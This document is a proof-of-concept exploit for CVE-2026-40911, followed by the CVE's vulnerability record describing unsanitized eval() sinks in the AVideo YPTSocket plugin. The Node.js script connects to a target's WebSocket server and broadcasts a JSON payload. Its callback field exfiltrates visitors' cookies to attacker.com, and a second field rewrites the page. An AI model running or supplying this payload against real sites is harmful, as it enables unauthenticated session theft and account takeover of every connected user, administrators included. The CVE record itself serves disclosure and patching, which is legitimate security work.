CVE-2026-40911

// PoC for CVE-2026-40911 // Requires: npm install ws const WebSocket = require('ws'); // Replace with the target WebSocket URL const targetUrl = 'ws://<TARGET_IP>/plugin/YPTSocket/server.php'; console.log(`Connecting to ${targetUrl}...`); const ws = new WebSocket(targetUrl); ws.on('open', function open() { console.log('Connected! Sending malicious payload...'); // Payload structure based on vulnerable sinks in script.js // Sink 1: json.callback (line 95) // Sink 2: json.msg.autoEvalCodeOnHTML (line 568) const maliciousPayload = { "callback": "alert('CVE-2026-40911 XSS Executed'); document.location='http://attacker.com/steal?c='+document.cookie;", "msg": { "autoEvalCodeOnHTML": "document.body.innerHTML='<h1>Hacked by CVE-2026-40911</h1>';" } }; // Send the crafted JSON ws.send(JSON.stringify(maliciousPayload)); console.log('Payload sent. Check connected clients.'); }); ws.on('error', function error(err) { console.error('WebSocket Error:', err); });

{"cve": {"id": "CVE-2026-40911", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:45.350", "lastModified": "2026-04-27T15:12:57.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, the YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution. Commit c08694bf6264eb4decceb78c711baee2609b4efd contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}